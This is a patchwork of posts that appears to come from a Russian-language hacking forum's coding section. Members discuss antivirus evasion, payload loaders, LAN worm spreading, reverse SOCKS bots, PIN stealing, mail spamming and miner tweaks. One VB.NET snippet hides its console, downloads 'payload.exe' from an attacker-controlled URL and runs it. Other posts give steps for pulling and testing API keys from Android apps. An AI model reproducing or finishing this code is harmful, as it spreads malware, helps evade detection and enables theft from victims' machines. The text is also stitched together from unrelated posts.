, требуется средствами метапрограммирования сделать так, чтобы после компиляции вместо того, чтобы быть константой строка собиралась по частям на стеке, вот пример реализации в коде
C:Copy to clipboard
char* String[] = { 's', 't', 'r', 'i', 'n', 'g', 0 };
Суть задачи заключается в упрощении себе жизни при разработке шеллкодов, используя компилятор сишки, может кто то посоветует более элегантное решение?
В общем за последние несколько дней уже на 3 темы наткнулся по обходу.
Решил написать свой боле менее адекватный лоадер на том на чем умею.
Что делает:
Проверял на ВМ Win10 с ласт апдейтами на детектируемом файле, ДФ молчит.
Так как все написано с 0 конечно же сам лоадер пока будет полный фуд:
![kleenscan.com](/proxy.php?image=https%3A%2F%2Fkleenscan.com%2Fimages%2Flogo- mini.png&hash=f0087456dc8cef90f219c8e9607b4c84&return_error=1)
](https://kleenscan.com/scan_result/62b211dbab56f92031a3d6066447de972739c73d7ae7081e3e258d7ce23c3e35)
Analyze files to detect malware. Analyze URLs, domains, and IPs to detect malware and blacklist status.
kleenscan.com
Пока какая то бяка на вт не зальет) Но суть написания была чисто ради интереса, и вопроса почему это так сложно что столько тем...оказалось не такая уж это и проблема обойти ДФ самыми примитивными методами.
Прежде чем мы начнем, нам нужен apk, который можно извлечь с устройства,
установив приложение через магазин воспроизведения или загрузив apk из онлайн-
источников.
Для практических целей мы будем искать жестко запрограммированный ключ API
Google.
Теперь давайте начнем анализировать приложение, открыв его в Jadx.
Примечание. В большинстве случаев жестко запрограммированные секреты можно
найти в AndroidManifest.xml и Strings.xml, и убедитесь, что вы также
проверяете необработанную папку на наличие секретов.
Поэтому, если вы пройдете через файл resources.arsc / res / values /
strings.xml, мы сможем найти ключ API Google, как показано.
Но мы понятия не имеем о ключе и о том, действителен он или нет.
Итак, давайте использовать KeyHacks, он показывает способ проверить, являются
ли найденные ключи действительными ключами, что приводит к утечке
конфиденциальной информации и допустимым способам использования конкретных
ключей API.
Перейти к KeyHacks и выполнить поиск google и найти несколько сервисов,
доступных для ключа api, поэтому я заменил ключевое слово key_here в URL-
адресах сервисов и проверил ответ.
Извлеките apk с помощью диспетчера архивов и выберите / META-INF, который
содержит файл сертификата. Для просмотра информации, связанной с сертификатом,
используйте keytool.
keytool -printcert -file CERT.RSA
Второй заголовок довольно информативен с названием X-Android-Package. Это имя
пакета apk - com.redhibited.app добавьте оба заголовка в запрос API Google,
чтобы узнать, можно ли обойти авторизацию.
Spoiler: Оригинал
(Hard-coded strings… ](https://medium.com/mobis3c/insecure-data-storage-clear- text-storage-of-sensitive-information-hard-coded-strings-fb7b056c0d0)
Before we get started, we need to have the apk which can be extracted from the device by installing the application through the play store…
medium.com
Перевёл:danyrusdem
Допустим, у меня есть кусок кода (функция), которую я копирую (!) в памяти по другому адресу (прохожусь циклом пока не встречу ret и пишу это в массив а потом копирую). Эта функция должна работать в качестве хука (я подменяю ее адресом адрес того что мне надо хукнуть), но соответственно ВСЕ вызовы внутри функции ломаются из-за (как я понял) сегментации данных (вызов оригинальной функции соответственно тоже). Так вот вопрос, что в таком случае делать, чтобы вызовы не сбивались?
Всем привет, есть вирус(самописный, местами плоховатый) на пк жертвы, там 2-3
компа по локалке связаны.
Как я могу распространить вирус на все 3 компа по локалке, и если вдруг я
ошибся с кол-вом, то на все пк в локалке?
Разумеется кодом на Си
Если куском кода впадлу делится, то буду рад за скинутую инфу.
Заранее спасибо!
How to find the missing header file? Some header files are still nested in dozens of header files, but what should I do? Is there a standard package without header files?
Как найти отсутствующий заголовочный файл? Некоторые файлы заголовков по- прежнему вложены в десятки файлов заголовков, но что мне делать? Есть ли стандартный пакет без заголовочных файлов?
Как через gcc(g++) компилировать такой же маленький вес как из под компилятора Visual Studio? В интернете ни нашел годной инфы, ну что это было 49 стало 47 килобайтов. (Код из под вижуалки 20кб ). Кто сталкивался, подскажите плс?
В дотнетах 7.0 давно анонсировали нормальный AOT-компилятор, который будет компилировать эти ваши шарпы в нативный код, который не будет требовать установленный на систему фреймворк. Естественно, бинарники будут жирноваты (на уровне голанга), но кого это волнует в 2022 году. Есть логичный ряд ограничений, типа отсутствие рефлекшена и генерации кода через рефлекшн.эмит, но в малвари это вряд ли нужно. Седьмой дотнет должен выйти в ноябре вроде, так что ждем первых копипастенных стиллеров с гитхабов на шарпах, скомпиленных в нативный код. Но можно уже попробовать это потыкать:
В поисковиках ничего об этом не нашел.
Может кто уже проводил подобную процедуру и подскажет в какую сторону копать.
Нужно скопировать сайт написанный на С# из сервера в котором он находится.
Что бы развернуть его копию на своём сервере.
Ранее копировал только лицензионные движки, и впервые столкнулся с сайтом самописом на С#.
Need wav decode software full
wav to track 2 decode
Не всегда есть возможность за компом работать, поэтому встает вопрос: есть ли на андроид нормальные компиляторы с++?
Нам нужно приложение, которое работает на телефонах Android (4.0 и выше) и может принимать звонки через SIP и перенаправлять их в сеть GSM. Приложение должно перенаправить звук и преобразовать его из SIP в GSM и наоборот. Основные требования к приложению: - Работа без root-прав - Возможность использования GSM модуля телефона - Создание и настройка учётной записи SIP для подключения к SIP серверу (IP + логин/пароль) - Использование кодеков G711/G729 и GSM
We need an application that runs on Android phones (4.0 or above) and can receive calls through SIP and forward it to the GSM network. The application should then forward the audio and convert from SIP to GSM and vice versa. Features - No need root access - Route call from SIP to GSM - Convert audio from/to SIP and GSM networks - Configure SIP Accounts. - Register on Sip Server - Receive call authenticated by IP, user/pass or no authentication. - Use codec G711/ G729 and GSM
Привет, понадобилось мне сделать адекватный реверс сокс, но вот с сокетами я прям редко-редко сталкивался и соответственно мало что в них понимаю.
Для начала опишу архитектуру, можно её если что предлагать поменять если она неадекватная - буду благодарен только.
БК-сервер часть:
Начну с неё, потому что проблема лежит в бот-части, чтобы было понятнее.
Примерно опишу, за технические опечатки сорри.
БК сервер асинхронно принимает соединения на 80 порт от ботов, и при наличии нового соединения (accept) открывает (listen) рандомный свободный порт на приём соединения от пользователя (user -> BC-server -> bot). При получении соединения на listening port юзер стороны все пакеты на него инкапсулирует в структуру которую маркирует ID этого соединения (за ID берется сокет), и пересылает инкапсулированные данные в соединение для бота. Ответ от бота пересылается обратно. Вся проблема возникает в том, что на стороне БК-сервера мы можем плодить сколько угодно сокетов принимая соединения через accept, но пакеты входящие от нескольких соединений (например mstsc любит плодить кучу соединений одновременно на один адрес, или браузер) мы передаем в одно единственное соединение бота, маркируя его в кастомный протокол где у нас идентифицируется номер соединения для мультиплексирования. Дальнейшую проблему опишу ниже в детальных пунктах
Начну с описания БК-сервера подробнее
Бот часть:
Проблема вся на пункте 2, 3, 3.1 Бот-части, которая вытекает из пункта БК- сервера 5
Заключается она в том, что множественные соединения (например, их может быть 3 от user -> BC-server -> client) все параллельно пишутся в одно единственное соединение с ботом. И так как нам заранее неизвестен размер отправляемого буфера (условно, проксируемое приложение может производить отправку какими-то чанками, как, например, браузер), то в входящем буфере на боте у нас будет рандом полнейший: блок от одного соединения, блок от другого, блок от первого и тд, и в каком порядке что и как это отправлять не совсем ясно.
Каким образом решить эту проблему? Может стоит от бота делать новое соединение обратно к БК-серверу как у нас прокси устанавливает новое соединение? И уже в это соединение делать общение. Или есть какие-то еще варианты?
del, пока что не актуально.
Обнаружил проблему при отладке данного кода:
C++:Copy to clipboard
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
WCHAR wcNtdllPath[MAX_PATH];
ZeroMemory(wcNtdllPath, sizeof(wcNtdllPath));
GetModuleFileNameW(hNtdll, wcNtdllPath, sizeof(wcNtdllPath) / sizeof(WCHAR));
Возвращаемое значение из GetModuleFileNameW очень редко, но бывает таким =
"ws\\SYSTEM32\\ntdll.dll" вместо "C:\\Windows\\SYSTEM32\\ntdll.dll"
Кто знает из-за чего так случается и как сделать что бы путь всегда получался
нормальным?
Hi i was trying to build a windows kernel driver targeting x64
This is the source code
C:Copy to clipboard
#include <Ntifs.h>
#include <ntddk.h>
#include <wdm.h>
UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L"\\Device\\SpotlessDevice");
UNICODE_STRING DEVICE_SYMBOLIC_NAME = RTL_CONSTANT_STRING(L"\\??\\SpotlessDeviceLink");
void sCreateProcessNotifyRoutineEx(PEPROCESS process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo)
{
UNREFERENCED_PARAMETER(process);
UNREFERENCED_PARAMETER(pid);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[-] createInfo->CommandLine->Buffer %s", createInfo->CommandLine->Buffer);
if (createInfo != NULL)
{
if (wcsstr(createInfo->CommandLine->Buffer, L"notepad") != NULL)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[!] Access to launch notepad.exe was denied!");
createInfo->CreationStatus = STATUS_ACCESS_DENIED;
}
}
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
NTSTATUS status = 0;
// routine that will execute when our driver is unloaded/service is stopped
DriverObject->DriverUnload = DriverUnload;
// routine for handling IO requests from userland
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HandleCustomIOCTL;
// routines that will execute once a handle to our device's symbolik link is opened/closed
DriverObject->MajorFunction[IRP_MJ_CREATE] = MajorFunctions;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = MajorFunctions;
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Driver loaded");
// subscribe to notifications
//PsSetCreateProcessNotifyRoutine(sCreateProcessNotifyRoutine, FALSE);
//PsSetLoadImageNotifyRoutine(sLoadImageNotifyRoutine);
//PsSetCreateThreadNotifyRoutine(sCreateThreadNotifyRoutine);
PsSetCreateProcessNotifyRoutineEx(sCreateProcessNotifyRoutineEx, FALSE);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Listeners isntalled..");
IoCreateDevice(DriverObject, 0, &DEVICE_NAME, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DriverObject->DeviceObject);
if (!NT_SUCCESS(status))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Could not create device %wZ", DEVICE_NAME);
}
else
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Device %wZ created", DEVICE_NAME);
}
status = IoCreateSymbolicLink(&DEVICE_SYMBOLIC_NAME, &DEVICE_NAME);
if (NT_SUCCESS(status))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Symbolic link %wZ created", DEVICE_SYMBOLIC_NAME);
}
else
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Error creating symbolic link %wZ", DEVICE_SYMBOLIC_NAME);
}
return STATUS_SUCCESS;
}
The code is compiled successfully , but when load the driver on windows 10 i can't get any debug print on dbgview
iam sure problem is not with debug print , one more thing when i use function PsSetCreateProcessNotifyRoutine it works fine and i can see what process created
So if you have guys experince and can help please share it here .
Thanks
По заголовку думаю все понятно, заранее всем спасибо!
помогите пожалуйста я в этом новичок )
точнее получить доступ к этой структуре EPROCESS
Поделитесь своими источниками задачек по программированию
Нужна практика, порой в разработке встаю на моментах, где человек с нормально
выработанным алгоритмическим мышлением решил бы задачу за более быстрое время
Да в инете куча всего, я знаю, но может у кого есть что интересное
посоветовать
Плохо ли, по вашему мнению, если малварь использует STL? Зачем сегодня
избегать использования STL?
Как я вижу, скорее отсутствие STL это звоночек для аверка, т.к. легитимный
софт её использует, а зловред — нет.
К тому же гонка за минимальным весом бинаря уже, вроде, неактуальна.
Или всё таки есть какие-то причины использовать самописные структуры и
функции? Перфоманс? Но что-то я сомневаюсь, что получится реализовать ту же
очередь более эффективно, чем это сделано в STL.
Давайте обсудим.
Как написать "с нуля" facebook аторизацию на c++ curl на linux в 2021 году? И с помощью какой софтины, можно просмотреть post/get запросы при авторизации, ведь там не http, а шифрованный https?
I need some help to create service on remote machine
the code i tested:
Code:Copy to clipboard
bool CreateRemoteService(
const wchar_t* remoteMachine,
const wchar_t* serviceName,
const wchar_t* displayName,
const wchar_t* executablePath,
const wchar_t* user,
const wchar_t* password
) {
// Open a handle to the SCM on the remote machine
SC_HANDLE schSCManager = OpenSCManagerW(remoteMachine, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager == NULL) {
return false;
}
// Create the service
SC_HANDLE schService = CreateServiceW(
schSCManager, // SCM database
serviceName, // name of service
displayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS, // service type
SERVICE_DEMAND_START, // start type
SERVICE_ERROR_NORMAL, // error control type
executablePath, // path to service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
user, // account name
password // account password
);
if (schService == NULL) {
CloseServiceHandle(schSCManager);
return false;
}
// Start the service
if (!StartService(schService, 0, NULL)) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return false;
}
// Close handles
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return true;
}
it seems not to work, if anyone can help i can send btc for it too, i just need to start my exe on remote machine.
Только с опытом работы ! Для долгосрочного сотрудничества
Контакты ПМ
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)
](https://mega.nz/folder/kH8gAbhR#tn4CLLqnTYLVCcW606KBxg)
4 files
mega.nz
Всё проще простого...
Редактируем файл donate.h и меняем это:
Code:Copy to clipboard
constexpr const int kDefaultDonateLevel = 1;
constexpr const int kMinimumDonateLevel = 1;
На это:
Code:Copy to clipboard
constexpr const int kDefaultDonateLevel = 0;
constexpr const int kMinimumDonateLevel = 0;
Да, всё очень просто, просто ставим нули вместо едениц и компилим, почти готово... осталось только открыть файл config.json и тоже поменять там еденички на нули, вот это:
Code:Copy to clipboard
"donate-level": 1,
"donate-over-proxy": 1,
Меняем на это:
Code:Copy to clipboard
"donate-level": 0,
"donate-over-proxy": 0,
Готово. Теперь донат разработчикам XMRig`a стал 0%.
Как реализовать хэширование результата функции без STL в С++?
Как я знаю что обычный слип аверы могут скипать как лучше сделать проверку или реализацию этого что если как то скипалось то программа крашила либо закрывала себя.
Весьма позновательный видос про нативные апишки венды, новичкам и тем, кто задает глупые вопросы, мол как мне изучать winapi/ntapi, будет полезно посмотреть:
Hidden content for authorized users.
C#:Copy to clipboard
[Flags]
public enum VirtualKeyStates : int
{
VK_LBUTTON = 0x01, // Left Button
VK_RBUTTON = 0x02, // Right Button
VK_CANCEL = 0x03, // Break
VK_MBUTTON = 0x04, // Middle Button
VK_XBUTTON1 = 0x05, // X Button 1
VK_XBUTTON2 = 0x06, // X Button 2
VK_BACK = 0x08, // Backspace
VK_TAB = 0x09, // TAB key
VK_CLEAR = 0x0C, // Clear key
VK_RETURN = 0x0D, // Enter key
VK_SHIFT = 0x10, // Shift key global
VK_CONTROL = 0x11, //
VK_MENU = 0x12, //
VK_PAUSE = 0x13, // Pause
VK_CAPITAL = 0x14, // Caps Lock
VK_KANA = 0x15, // Kana
VK_HANGEUL = 0x15, //
VK_HANGUL = 0x15, //
VK_JUNJA = 0x17, // Junja
VK_FINAL = 0x18, // Final
VK_HANJA = 0x19, //
VK_KANJI = 0x19, // Kanji
VK_ESCAPE = 0x1B, // Esc
VK_CONVERT = 0x1C, // Convert
VK_NONCONVERT = 0x1D, // Non Convert
VK_ACCEPT = 0x1E, // Accept
VK_MODECHANGE = 0x1F, // Mode Change
VK_SPACE = 0x20, // Space
VK_PRIOR = 0x21, // Page Up
VK_NEXT = 0x22, // Page Down
VK_END = 0x23, // End
VK_HOME = 0x24, // Home key
VK_LEFT = 0x25, // Arrow Left
VK_UP = 0x26, // Arrow Up
VK_RIGHT = 0x27, // Arrow Right
VK_DOWN = 0x28, // Arrow Down
VK_SELECT = 0x29, // Select
VK_PRINT = 0x2A, // Print
VK_EXECUTE = 0x2B, // Execute
VK_SNAPSHOT = 0x2C, // Print Screen
VK_INSERT = 0x2D, // Insert
VK_DELETE = 0x2E, // Delete
VK_HELP = 0x2F, // Help
VK_LWIN = 0x5B, // Left Win
VK_RWIN = 0x5C, // Right Win
VK_APPS = 0x5D, // Context Menu
VK_SLEEP = 0x5F, // Sleep
VK_KEY_0 = 0x30, // 0
VK_KEY_1 = 0x31, // 1
VK_KEY_2 = 0x32, // 2
VK_KEY_3 = 0x33, // 3
VK_KEY_4 = 0x34, // 4
VK_KEY_5 = 0x35, // 5
VK_KEY_6 = 0x36, // 6
VK_KEY_7 = 0x37, // 7
VK_KEY_8 = 0x38, // 8
VK_KEY_9 = 0x39, // 9
VK_KEY_A = 0x41, // A
VK_KEY_B = 0x42, // B
VK_KEY_C = 0x43, // C
VK_KEY_D = 0x44, // D
VK_KEY_E = 0x45, // E
VK_KEY_F = 0x46, // F
VK_KEY_G = 0x47, // G
VK_KEY_H = 0x48, // H
VK_KEY_I = 0x49, // I
VK_KEY_J = 0x4A, // J
VK_KEY_K = 0x4B, // K
VK_KEY_L = 0x4C, // L
VK_KEY_M = 0x4D, // M
VK_KEY_N = 0x4E, // N
VK_KEY_O = 0x4F, // O
VK_KEY_P = 0x50, // P
VK_KEY_Q = 0x51, // Q
VK_KEY_R = 0x52, // R
VK_KEY_S = 0x53, // S
VK_KEY_T = 0x54, // T
VK_KEY_U = 0x55, // U
VK_KEY_V = 0x56, // V
VK_KEY_W = 0x57, // W
VK_KEY_X = 0x58, // X
VK_KEY_Y = 0x59, // Y
VK_KEY_Z = 0x5A, // Z
VK_NUMPAD0 = 0x60, // Numpad 0
VK_NUMPAD1 = 0x61, // Numpad 1
VK_NUMPAD2 = 0x62, // Numpad 2
VK_NUMPAD3 = 0x63, // Numpad 3
VK_NUMPAD4 = 0x64, // Numpad 4
VK_NUMPAD5 = 0x65, // Numpad 5
VK_NUMPAD6 = 0x66, // Numpad 6
VK_NUMPAD7 = 0x67, // Numpad 7
VK_NUMPAD8 = 0x68, // Numpad 8
VK_NUMPAD9 = 0x69, // Numpad 9
VK_MULTIPLY = 0x6A, // Numpad *
VK_ADD = 0x6B, // Numpad +
VK_SEPARATOR = 0x6C, // Separator
VK_SUBTRACT = 0x6D, // Num -
VK_DECIMAL = 0x6E, // Numpad .
VK_DIVIDE = 0x6F, // Numpad /
VK_F1 = 0x70, // F1
VK_F2 = 0x71, // F2
VK_F3 = 0x72, // F3
VK_F4 = 0x73, // F4
VK_F5 = 0x74, // F5
VK_F6 = 0x75, // F6
VK_F7 = 0x76, // F7
VK_F8 = 0x77, // F8
VK_F9 = 0x78, // F9
VK_F10 = 0x79, // F10
VK_F11 = 0x7A, // F11
VK_F12 = 0x7B, // F12
VK_F13 = 0x7C, // F13
VK_F14 = 0x7D, // F14
VK_F15 = 0x7E, // F15
VK_F16 = 0x7F, // F16
VK_F17 = 0x80, // F17
VK_F18 = 0x81, // F18
VK_F19 = 0x82, // F19
VK_F20 = 0x83, // F20
VK_F21 = 0x84, // F21
VK_F22 = 0x85, // F22
VK_F23 = 0x86, // F23
VK_F24 = 0x87, // F24
VK_NUMLOCK = 0x90, // Num Lock
VK_SCROLL = 0x91, // Scrol Lock
VK_OEM_NEC_EQUAL = 0x92, //
VK_OEM_FJ_JISHO = 0x92, // Jisho
VK_OEM_FJ_MASSHOU = 0x93,// Mashu
VK_OEM_FJ_TOUROKU = 0x94,// Touroku
VK_OEM_FJ_LOYA = 0x95, // Loya
VK_OEM_FJ_ROYA = 0x96, // Roya
VK_LSHIFT = 0xA0, // Left Shift
VK_RSHIFT = 0xA1, // Right Shift
VK_LCONTROL = 0xA2, // Left Ctrl
VK_RCONTROL = 0xA3, // Right Ctrl
VK_LMENU = 0xA4, // Left Alt
VK_RMENU = 0xA5, // Right Alt
VK_BROWSER_BACK = 0xA6, // Browser Back
VK_BROWSER_FORWARD = 0xA7, // Browser Forward
VK_BROWSER_REFRESH = 0xA8, // Browser Refresh
VK_BROWSER_STOP = 0xA9, // Browser Stop
VK_BROWSER_SEARCH = 0xAA, // Browser Search
VK_BROWSER_FAVORITES = 0xAB, // Browser Favorites
VK_BROWSER_HOME = 0xAC, // Browser Home
VK_VOLUME_MUTE = 0xAD, // Volume Mute
VK_VOLUME_DOWN = 0xAE, // Volume Down
VK_VOLUME_UP = 0xAF, // Volume Up
VK_MEDIA_NEXT_TRACK = 0xB0, // Next Track
VK_MEDIA_PREV_TRACK = 0xB1, // Previous Track
VK_MEDIA_STOP = 0xB2, // Stop
VK_MEDIA_PLAY_PAUSE = 0xB3, // Play / Pause
VK_LAUNCH_MAIL = 0xB4, // Mail
VK_LAUNCH_MEDIA_SELECT = 0xB5, // Media
VK_LAUNCH_APP1 = 0xB6, // App1
VK_LAUNCH_APP2 = 0xB7, // App2
VK_OEM_PLUS = 0xBB, // OEM_PLUS (+ =)
VK_OEM_COMMA = 0xBC, // OEM_COMMA (< ,)
VK_OEM_MINUS = 0xBD, // OEM_MINUS (_ -)
VK_OEM_PERIOD = 0xBE, // OEM_PERIOD (> .)
VK_OEM_1 = 0xBA, // OEM_1 (: ;)
VK_OEM_2 = 0xBF, // OEM_2 (? /)
VK_OEM_3 = 0xC0, // OEM_3 (~ `)
VK_OEM_4 = 0xDB, // OEM_4 ({ [)
VK_OEM_5 = 0xDC, // OEM_5 (| \)
VK_OEM_6 = 0xDD, // OEM_6 (} ])
VK_OEM_7 = 0xDE, // OEM_7 (" ')
VK_OEM_8 = 0xDF, // OEM_8 (§ !)
VK_OEM_AX = 0xE1, // Ax
VK_OEM_102 = 0xE2, // OEM_102 (> <)
VK_ICO_HELP = 0xE3, // IcoHlp
VK_ICO_00 = 0xE4, // Ico00 *
VK_ICO_CLEAR = 0xE6, // IcoClr
VK_PROCESSKEY = 0xE5, // Process
VK_PACKET = 0xE7, // Packet
VK_OEM_RESET = 0xE9, // Reset
VK_OEM_JUMP = 0xEA, // Jump
VK_OEM_PA1 = 0xEB, // OemPa1
VK_OEM_PA2 = 0xEC, // OemPa2
VK_OEM_PA3 = 0xED, // OemPa3
VK_OEM_WSCTRL = 0xEE, // WsCtrl
VK_OEM_CUSEL = 0xEF, // Cu Sel
VK_OEM_ATTN = 0xF0, // Oem Attn
VK_OEM_FINISH = 0xF1, // Finish
VK_OEM_COPY = 0xF2, // Copy
VK_OEM_AUTO = 0xF3, // Auto
VK_OEM_ENLW = 0xF4, // Enlw
VK_OEM_BACKTAB = 0xF5, // Back Tab
VK_ATTN = 0xF6, // Attn
VK_CRSEL = 0xF7, // Cr Sel
VK_EXSEL = 0xF8, // Ex Sel
VK_EREOF = 0xF9, // Er Eof
VK_PLAY = 0xFA, // Play
VK_ZOOM = 0xFB, // Zoom
VK_NONAME = 0xFC, // NoName
VK_PA1 = 0xFD, // Pa1
VK_OEM_CLEAR = 0xFE, // OemClr
VK_ABNT_C1 = 0xC1, // Abnt C1
VK_ABNT_C2 = 0xC2, // Abnt C2
VK__none_ = 0xFF, // no VK mapping
}
Посоветуйте обусификацию для C++
Нужен обусификатор для приложения c++.
протекторы не предлагать
Hello, do you know a code or a very small library I can use in C/C++ to organize cookies in netscape format?
Hidden content for authorized users.
Code:Copy to clipboard
Imports System.Net, Microsoft.VisualBasic.CompilerServices, System.IO
Imports System.Text
Module Module1
Public Property T As Object
Private Declare Auto Function ShowWindow Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal nCmdShow As Integer) As Boolean
Private Declare Auto Function GetConsoleWindow Lib "kernel32.dll" () As IntPtr
Private Const SW_HIDE As Integer = 0
Sub Main ()
Dim hWndConsole As IntPtr
hWndConsole = GetConsoleWindow ()
ShowWindow (hWndConsole, SW_HIDE)
My.Computer.FileSystem.CreateDirectory (My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp")
If My.Computer.FileSystem.FileExists (My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp" & "\ payload.exe") Then
My.Computer.FileSystem.DeleteFile (My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp" & "\ payload.exe")
Else
End If
Dim WCc As New System.Net.WebClient
Dim http3 As String = WCc.DownloadString ("http: // your ip or pastebin / text.txt")
Dim remoteUrii As String = http3
Dim fileName As String = "payload.exe"
Using client As New WebClient ()
client.DownloadFile (remoteUrii, My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp \" & fileName)
Process.Start (My.Computer.FileSystem.SpecialDirectories.Temp & "\ MyTemp \" & fileName)
End Using
End Sub
End Module
Простой пампер файлов , работает , но есть один нюанс , после добавления
раздутого файла в архив , файл не сжимается , например памп 750 МБ , то и
архив 750 МБ .
Как это исправить ?)
C#:Copy to clipboard
using System;
using System.IO;
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Введите путь к файлу:");
string filePath = Console.ReadLine();
if (File.Exists(filePath))
{
Console.WriteLine("Введите размер пампа в МБ:");
if (long.TryParse(Console.ReadLine(), out long pumpSizeMB))
{
long targetSize = pumpSizeMB * 1024 * 1024; // Конвертируем в байты
byte[] originalFile = File.ReadAllBytes(filePath);
if (originalFile.Length < targetSize)
{
using (FileStream fileStream = new FileStream(filePath, FileMode.Create))
{
// Записываем оригинальный файл
fileStream.Write(originalFile, 0, originalFile.Length);
// Создаем и записываем "памп"
byte[] pumpData = new byte[targetSize - originalFile.Length];
new Random().NextBytes(pumpData);
fileStream.Write(pumpData, 0, pumpData.Length);
fileStream.Flush(); // Обеспечиваем завершение записи
}
Console.WriteLine($"Файл успешно пампирован до {pumpSizeMB} МБ!");
}
else
{
Console.WriteLine("Размер оригинального файла уже превышает указанный размер.");
}
}
else
{
Console.WriteLine("Некорректный ввод размера.");
}
}
else
{
Console.WriteLine("Файл не найден.");
}
}
}
Есть которые делали игры на GDI?
Вопрос есть в том как сделать что то подобное вертикальной синхронизации, что
бы было збс всё. Обычный sleep(100) ну совсем не подходит - глазки плачут. Да
в теме новичек по сути, проясните пожалуйста как обновлять нормально в игровом
цикле картинку
Допустим, у меня есть:
.dat файл в котором у меня записан массив чисел (байтов моего dll файла), я
скачиваю этот дат файл, (далее именно то в чем нужна помощь) считываю байты и
записываю их в массив, собираю из байтов свой длл файл на диск С (к примеру)
Надеюсь понятно понял, а проще говоря мне нужно понять как считать байты из Строк, и собрать из него файл
В общем. Нужно было реализовать пул воркеров, я как обычно пошёл в гугл, в поисках костылей. Но костыли писать не пришлось, как оказалось, винда их реализовала за меня (<https://docs.microsoft.com/en- us/windows/win32/procthread/using-the-thread-pool-functions>). Почитал доки, реализовал:
C:Copy to clipboard
#include <windows.h>
#include <stdio.h>
#define WORK_ITEMS_COUNT 10
#define WORKERS_COUNT 2
struct WorkItem
{
SLIST_ENTRY entry;
ULONG data;
};
void CALLBACK ProcessItem(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work)
{
PSLIST_ENTRY listEntry = nullptr;
WorkItem* item = nullptr;
item = (WorkItem*)InterlockedPopEntrySList((PSLIST_HEADER)Context);
wprintf(L"worker: tid = %d, data = %d\n", GetCurrentThreadId(), item->data);
_aligned_free(listEntry);
}
PSLIST_HEADER InitWorkItems()
{
PSLIST_HEADER listHead;
WorkItem* item;
listHead = (PSLIST_HEADER)_aligned_malloc(sizeof(SLIST_HEADER), MEMORY_ALLOCATION_ALIGNMENT);
InitializeSListHead(listHead);
for (int i = 0; i < WORK_ITEMS_COUNT; i++)
{
item = (WorkItem*)_aligned_malloc(sizeof(WorkItem), MEMORY_ALLOCATION_ALIGNMENT);
item->data = i;
InterlockedPushEntrySList(listHead, &(item->entry));
}
return listHead;
}
int main()
{
PSLIST_HEADER workItems = nullptr;
TP_CALLBACK_ENVIRON callbackEnv;
PTP_POOL pool = nullptr;
PTP_WORK work = nullptr;
workItems = InitWorkItems();
InitializeThreadpoolEnvironment(&callbackEnv);
pool = CreateThreadpool(nullptr);
SetThreadpoolThreadMaximum(pool, WORKERS_COUNT);
SetThreadpoolCallbackPool(&callbackEnv, pool);
work = CreateThreadpoolWork(ProcessItem, (LPVOID)workItems, &callbackEnv);
for (int i = 0; i < WORK_ITEMS_COUNT; i++)
SubmitThreadpoolWork(work);
WaitForThreadpoolWorkCallbacks(work, FALSE);
_aligned_free(workItems);
CloseThreadpool(pool);
}
Надеюсь эта заметка кому-то скоротает вечерок, как и мне
У кого есть вс 17 под рукой, соберите, пожалуйста, проект https://github.com/med0x2e/ExecuteAssembly под х86 и х64. С меня плюсик в карму. =)
Я владею Sockets, Web Server, Базы данных, работа c SQL и по мелочи работа с
апи телеги и дискорда. в целом пишу на WPF, WinForms. Владею ООП, уровень
думаю чуть выше среднего. Это я щас в целом сказал о (C#/C++). Имею писать
парсеры под сайты.(делал парсы товарки).
владею WinAPI из под шарпов и плюсов. Ну в общем так.
Посоветуйте что изучать, что востребовано(только пж не геймдев) на уровень
стажёра?
Реально ли на стажерку куда-то попасть на шарпы/плюсы с таким опытом, хоть за
копейки? Опыт из белого фриланс как таковой.
Хочется опыта набраться тупо.
Пытаюсь фиксануть чтоб пин-коды воровал (ворует только с обрывом)
Как в джаве можно выполнить jar файл в памяти без касания диска? Например я хочу загрузить файл с сервера и исполнить его не дропая на диск .
Короче, проблема такова: есть спамер для малы(почта), но, после нескольких минут использования, сообщения начинают идти в спам. Мне надо как-то сделать так, чтобы юзались прохи. Парс прокси и распределение их я сам сделаю, помогите реализовать код, чтобы туда подставлялся прокси найденный и с него отправлялось нужное сообщение.
Я пишу скрипт на C
Пытаюсь отправить HTTP-TLS GET запрос к своему дстату
Конект проходит
GET запрос нет
Если кто-то может помочь, отпишите в лс форума.
C:Copy to clipboard
